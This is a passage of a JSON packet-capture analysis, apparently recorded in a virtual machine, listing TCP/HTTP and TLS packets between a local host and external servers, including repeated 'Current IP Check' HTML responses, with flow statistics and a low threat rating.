\"2026-04-28T23:52:53.473733\", \"timestamp_human\": \"2026-04-28 23:52:53.473\", \"size\": 359, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPResponse\", \"Raw\"], \"src_ip\": \"132.226.247.73\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 14547, \"ip_len\": 345, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50100, \"tcp_seq\": 3385609507, \"tcp_ack\": 3782496635, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 104, \"payload_preview\": \"3c68746d6c3e3c686561643e3c7469746c653e43757272656e7420495020436865636b3c2f7469746c653e3c2f686561643e3c626f64793e43757272656e7420495020416464726573733a203130392e37302e3130302e363c2f626f64793e3c2f68746d6c3e0d0a\", \"payload_ascii\": \"<html><head><title>Current IP Check</title></head><body>Current IP Address: 109.70.100.6</body></html>\\r\\n\"}, {\"packet_number\": 57, \"timestamp\": 1777400574.110467, \"timestamp_iso\": \"2026-04-28T23:52:54.110467\", \"timestamp_human\": \"2026-04-28 23:52:54.110\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"132.226.247.73\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 14548, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50100, \"tcp_seq\": 3385609812, \"tcp_ack\": 3782496762, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 58, \"timestamp\": 1777400574.576307, \"timestamp_iso\": \"2026-04-28T23:52:54.576307\", \"timestamp_human\": \"2026-04-28 23:52:54.576\", \"size\": 359, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPResponse\", \"Raw\"], \"src_ip\": \"132.226.247.73\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 14549, \"ip_len\": 345, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50100, \"tcp_seq\": 3385609812, \"tcp_ack\": 3782496762, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 104, \"payload_preview\": \"3c68746d6c3e3c686561643e3c7469746c653e43757272656e7420495020436865636b3c2f7469746c653e3c2f686561643e3c626f64793e43757272656e7420495020416464726573733a203130392e37302e3130302e363c2f626f64793e3c2f68746d6c3e0d0a\", \"payload_ascii\": \"<html><head><title>Current IP Check</title></head><body>Current IP Address: 109.70.100.6</body></html>\\r\\n\"}, {\"packet_number\": 70, \"timestamp\": 1777400574.993925, \"timestamp_iso\": \"2026-04-28T23:52:54.993925\", \"timestamp_human\": \"2026-04-28 23:52:54.993\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"132.226.247.73\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 14550, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50100, \"tcp_seq\": 3385610117, \"tcp_ack\": 3782496889, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 71, \"timestamp\": 1777400575.507824, \"timestamp_iso\": \"2026-04-28T23:52:55.507824\", \"timestamp_human\": \"2026-04-28 23:52:55.507\", \"size\": 359, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPResponse\", \"Raw\"], \"src_ip\": \"132.226.247.73\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 14551, \"ip_len\": 345, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50100, \"tcp_seq\": 3385610117, \"tcp_ack\": 3782496889, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 104, \"payload_preview\": \"3c68746d6c3e3c686561643e3c7469746c653e43757272656e7420495020436865636b3c2f7469746c653e3c2f686561643e3c626f64793e43757272656e7420495020416464726573733a203130392e37302e3130302e363c2f626f64793e3c2f68746d6c3e0d0a\", \"payload_ascii\": \"<html><head><title>Current IP Check</title></head><body>Current IP Address: 109.70.100.6</body></html>\\r\\n\"}, {\"packet_number\": 83, \"timestamp\": 1777400576.016972, \"timestamp_iso\": \"2026-04-28T23:52:56.016972\", \"timestamp_human\": \"2026-04-28 23:52:56.016\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"132.226.247.73\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 14552, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50100, \"tcp_seq\": 3385610422, \"tcp_ack\": 3782497016, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 84, \"timestamp\": 1777400576.448636, \"timestamp_iso\": \"2026-04-28T23:52:56.448636\", \"timestamp_human\": \"2026-04-28 23:52:56.448\", \"size\": 359, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPResponse\", \"Raw\"], \"src_ip\": \"132.226.247.73\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 14553, \"ip_len\": 345, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50100, \"tcp_seq\": 3385610422, \"tcp_ack\": 3782497016, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 104, \"payload_preview\": \"3c68746d6c3e3c686561643e3c7469746c653e43757272656e7420495020436865636b3c2f7469746c653e3c2f686561643e3c626f64793e43757272656e7420495020416464726573733a203130392e37302e3130302e363c2f626f64793e3c2f68746d6c3e0d0a\", \"payload_ascii\": \"<html><head><title>Current IP Check</title></head><body>Current IP Address: 109.70.100.6</body></html>\\r\\n\"}, {\"packet_number\": 97, \"timestamp\": 1777400577.806588, \"timestamp_iso\": \"2026-04-28T23:52:57.806588\", \"timestamp_human\": \"2026-04-28 23:52:57.806\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"132.226.247.73\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 14554, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50100, \"tcp_seq\": 3385610727, \"tcp_ack\": 3782497143, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 98, \"timestamp\": 1777400578.361252, \"timestamp_iso\": \"2026-04-28T23:52:58.361252\", \"timestamp_human\": \"2026-04-28 23:52:58.361\", \"size\": 359, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPResponse\", \"Raw\"], \"src_ip\": \"132.226.247.73\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 14555, \"ip_len\": 345, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50100, \"tcp_seq\": 3385610727, \"tcp_ack\": 3782497143, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 104, \"payload_preview\": \"3c68746d6c3e3c686561643e3c7469746c653e43757272656e7420495020436865636b3c2f7469746c653e3c2f686561643e3c626f64793e43757272656e7420495020416464726573733a203130392e37302e3130302e363c2f626f64793e3c2f68746d6c3e0d0a\", \"payload_ascii\": \"<html><head><title>Current IP Check</title></head><body>Current IP Address: 109.70.100.6</body></html>\\r\\n\"}, {\"packet_number\": 110, \"timestamp\": 1777400578.837584, \"timestamp_iso\": \"2026-04-28T23:52:58.837584\", \"timestamp_human\": \"2026-04-28 23:52:58.837\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"132.226.247.73\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 14556, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50100, \"tcp_seq\": 3385611032, \"tcp_ack\": 3782497270, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 111, \"timestamp\": 1777400579.5005, \"timestamp_iso\": \"2026-04-28T23:52:59.500500\", \"timestamp_human\": \"2026-04-28 23:52:59.500\", \"size\": 359, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPResponse\", \"Raw\"], \"src_ip\": \"132.226.247.73\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 14557, \"ip_len\": 345, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50100, \"tcp_seq\": 3385611032, \"tcp_ack\": 3782497270, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 104, \"payload_preview\": \"3c68746d6c3e3c686561643e3c7469746c653e43757272656e7420495020436865636b3c2f7469746c653e3c2f686561643e3c626f64793e43757272656e7420495020416464726573733a203130392e37302e3130302e363c2f626f64793e3c2f68746d6c3e0d0a\", \"payload_ascii\": \"<html><head><title>Current IP Check</title></head><body>Current IP Address: 109.70.100.6</body></html>\\r\\n\"}, {\"packet_number\": 123, \"timestamp\": 1777400580.317319, \"timestamp_iso\": \"2026-04-28T23:53:00.317319\", \"timestamp_human\": \"2026-04-28 23:53:00.317\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"132.226.247.73\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 14558, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50100, \"tcp_seq\": 3385611337, \"tcp_ack\": 3782497397, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 124, \"timestamp\": 1777400580.734961, \"timestamp_iso\": \"2026-04-28T23:53:00.734961\", \"timestamp_human\": \"2026-04-28 23:53:00.734\", \"size\": 359, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPResponse\", \"Raw\"], \"src_ip\": \"132.226.247.73\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 14559, \"ip_len\": 345, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50100, \"tcp_seq\": 3385611337, \"tcp_ack\": 3782497397, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 104, \"payload_preview\": \"3c68746d6c3e3c686561643e3c7469746c653e43757272656e7420495020436865636b3c2f7469746c653e3c2f686561643e3c626f64793e43757272656e7420495020416464726573733a203130392e37302e3130302e363c2f626f64793e3c2f68746d6c3e0d0a\", \"payload_ascii\": \"<html><head><title>Current IP Check</title></head><body>Current IP Address: 109.70.100.6</body></html>\\r\\n\"}, {\"packet_number\": 136, \"timestamp\": 1777400581.149039, \"timestamp_iso\": \"2026-04-28T23:53:01.149039\", \"timestamp_human\": \"2026-04-28 23:53:01.149\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"132.226.247.73\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 14560, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50100, \"tcp_seq\": 3385611642, \"tcp_ack\": 3782497524, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 137, \"timestamp\": 1777400581.851787, \"timestamp_iso\": \"2026-04-28T23:53:01.851787\", \"timestamp_human\": \"2026-04-28 23:53:01.851\", \"size\": 359, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPResponse\", \"Raw\"], \"src_ip\": \"132.226.247.73\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 14561, \"ip_len\": 345, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50100, \"tcp_seq\": 3385611642, \"tcp_ack\": 3782497524, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 104, \"payload_preview\": \"3c68746d6c3e3c686561643e3c7469746c653e43757272656e7420495020436865636b3c2f7469746c653e3c2f686561643e3c626f64793e43757272656e7420495020416464726573733a203130392e37302e3130302e363c2f626f64793e3c2f68746d6c3e0d0a\", \"payload_ascii\": \"<html><head><title>Current IP Check</title></head><body>Current IP Address: 109.70.100.6</body></html>\\r\\n\"}, {\"packet_number\": 213, \"timestamp\": 1777400646.999466, \"timestamp_iso\": \"2026-04-28T23:54:06.999466\", \"timestamp_human\": \"2026-04-28 23:54:06.999\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"132.226.247.73\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 14562, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50100, \"tcp_seq\": 3385611947, \"tcp_ack\": 3782497524, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 216, \"timestamp\": 1777400681.883054, \"timestamp_iso\": \"2026-04-28T23:54:41.883054\", \"timestamp_human\": \"2026-04-28 23:54:41.883\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"132.226.247.73\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50100, \"tcp_seq\": 3385611948, \"tcp_ack\": 3782497525, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 23, \"PSH\": 10, \"FIN\": 1}, \"packet_sizes\": [66, 54, 359, 54, 359, 54, 359, 54, 359, 54, 359, 54, 359, 54, 359, 54, 359, 54, 359, 54, 359, 54, 54], \"inter_packet_intervals\": [0.0004429817199707031, 1.6528148651123047, 0.14449119567871094, 0.5023000240325928, 3.2068169116973877, 0.5766599178314209, 0.6367340087890625, 0.46584010124206543, 0.4176180362701416, 0.5138988494873047, 0.509148120880127, 0.43166399002075195, 1.3579518795013428, 0.554664134979248, 0.4763319492340088, 0.6629159450531006, 0.8168189525604248, 0.41764211654663086, 0.4140779972076416, 0.7027480602264404, 65.1476788520813, 34.88358807563782], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 114.4928469657898, \"avg_packet_size\": 187.1304347826087, \"packets_per_second\": 0.2008859121729443, \"bytes_per_second\": 37.59186808662401, \"min_packet_size\": 54, \"max_packet_size\": 359, \"median_packet_size\": 54, \"avg_interval\": 5.204220316626809, \"min_interval\": 0.0004429817199707031, \"max_interval\": 65.1476788520813}, {\"source\": \"192.168.122.168\", \"target\": \"188.114.96.0\", \"packet_count\": 49, \"total_bytes\": 5498, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ports\": [50104, 50107, 50111, 50112, 50113, 50115, 50117, 50118, 50119], \"dst_ports\": [443], \"first_packet\": 1777400570.549657, \"last_packet\": 1777400582.263481, \"packets\": [{\"packet_number\": 29, \"timestamp\": 1777400570.549657, \"timestamp_iso\": \"2026-04-28T23:52:50.549657\", \"timestamp_human\": \"2026-04-28 23:52:50.549\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"188.114.96.0\", \"ttl\": 128, \"ip_id\": 30349, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50104, \"dst_port\": 443, \"tcp_seq\": 2695327244, \"tcp_ack\": 0, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 31, \"timestamp\": 1777400570.549806, \"timestamp_iso\": \"2026-04-28T23:52:50.549806\", \"timestamp_human\": \"2026-04-28 23:52:50.549\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"188.114.96.0\", \"ttl\": 128, \"ip_id\": 30350, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50104, \"dst_port\": 443, \"tcp_seq\": 2695327245, \"tcp_ack\": 3685359037, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 32, \"timestamp\": 1777400571.952178, \"timestamp_iso\": \"2026-04-28T23:52:51.952178\", \"timestamp_human\": \"2026-04-28 23:52:51.952\", \"size\": 177, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"188.114.96.0\", \"ttl\": 128, \"ip_id\": 30351, \"ip_len\": 163, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50104, \"dst_port\": 443, \"tcp_seq\": 2695327245, \"tcp_ack\": 3685359037, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 35, \"timestamp\": 1777400572.219978, \"timestamp_iso\": \"2026-04-28T23:52:52.219978\", \"timestamp_human\": \"2026-04-28 23:52:52.219\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"188.114.96.0\", \"ttl\": 128, \"ip_id\": 30352, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50104, \"dst_port\": 443, \"tcp_seq\": 2695327368, \"tcp_ack\": 3685361785, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 36, \"timestamp\": 1777400572.229028, \"timestamp_iso\": \"2026-04-28T23:52:52.229028\", \"timestamp_human\": \"2026-04-28 23:52:52.229\", \"size\": 155, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"188.114.96.0\", \"ttl\": 128, \"ip_id\": 30353, \"ip_len\": 141, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50104, \"dst_port\": 443, \"tcp_seq\": 2695327368, \"tcp_ack\": 3685361785, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 33, \"payload_preview\": \"20f72182de96c8e0e00c0fd5dbe197faa33b6af101acc66642585e31a05116303f\", \"payload_ascii\": \" !\\f\\u000f;j\\u0001fBX^1Q\\u00160?\"}, {\"packet_number\": 39, \"timestamp\": 1777400572.580693, \"timestamp_iso\": \"2026-04-28T23:52:52.580693\", \"timestamp_human\": \"2026-04-28 23:52:52.580\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"188.114.96.0\", \"ttl\": 128, \"ip_id\": 30354, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50104, \"dst_port\": 443, \"tcp_seq\": 2695327469, \"tcp_ack\": 3685362051, \"tcp_window\": 8211, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 40, \"timestamp\": 1777400572.79276, \"timestamp_iso\": \"2026-04-28T23:52:52.792760\", \"timestamp_human\": \"2026-04-28 23:52:52.792\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"188.114.96.0\", \"ttl\": 128, \"ip_id\": 30355, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50104, \"dst_port\": 443, \"tcp_seq\": 2695327469, \"tcp_ack\": 3685362051, \"tcp_window\": 8211, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 42, \"timestamp\": 1777400572.79298, \"timestamp_iso\": \"2026-04-28T23:52:52.792980\", \"timestamp_human\": \"2026-04-28 23:52:52.792\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"188.114.96.0\", \"ttl\": 128, \"ip_id\": 30356, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50104, \"dst_port\": 443, \"tcp_seq\": 2695327470, \"tcp_ack\": 3685362052, \"tcp_window\": 8211, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 46, \"timestamp\": 1777400573.507754, \"timestamp_iso\": \"2026-04-28T23:52:53.507754\", \"timestamp_human\": \"2026-04-28 23:52:53.507\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"188.114.96.0\", \"ttl\": 128, \"ip_id\": 30357, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50107, \"dst_port\": 443, \"tcp_seq\": 4000321737, \"tcp_ack\": 0, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 48, \"timestamp\": 1777400573.507935, \"timestamp_iso\": \"2026-04-28T23:52:53.507935\", \"timestamp_human\": \"2026-04-28 23:52:53.507\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"188.114.96.0\", \"ttl\": 128, \"ip_id\": 30358, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50107, \"dst_port\": 443, \"tcp_seq\": 4000321738, \"tcp_ack\": 3056081029, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 49, \"timestamp\": 1777400573.508465, \"timestamp_iso\": \"2026-04-28T23:52:53.508465\", \"timestamp_human\": \"2026-04-28 23:52:53.508\", \"size\": 369, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"188.114.96.0\", \"ttl\": 128, \"ip_id\": 30359, \"ip_len\": 355, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50107, \"dst_port\": 443, \"tcp_seq\": 4000321738, \"tcp_ack\": 3056081029, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 53, \"timestamp\": 1777400574.105995, \"timestamp_iso\": \"2026-04-28T23:52:54.105995\", \"timestamp_human\": \"2026-04-28 23:52:54.105\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"188.114.96.0\", \"ttl\": 128, \"ip_id\": 30360, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50107, \"dst_port\": 443, \"tcp_seq\": 4000322053, \"tcp_ack\": 3056081152, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 55, \"timestamp\": 1777400574.106189, \"timestamp_iso\": \"2026-04-28T23:52:54.106189\", \"timestamp_human\": \"2026-04-28 23:52:54.106\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"188.114.96.0\", 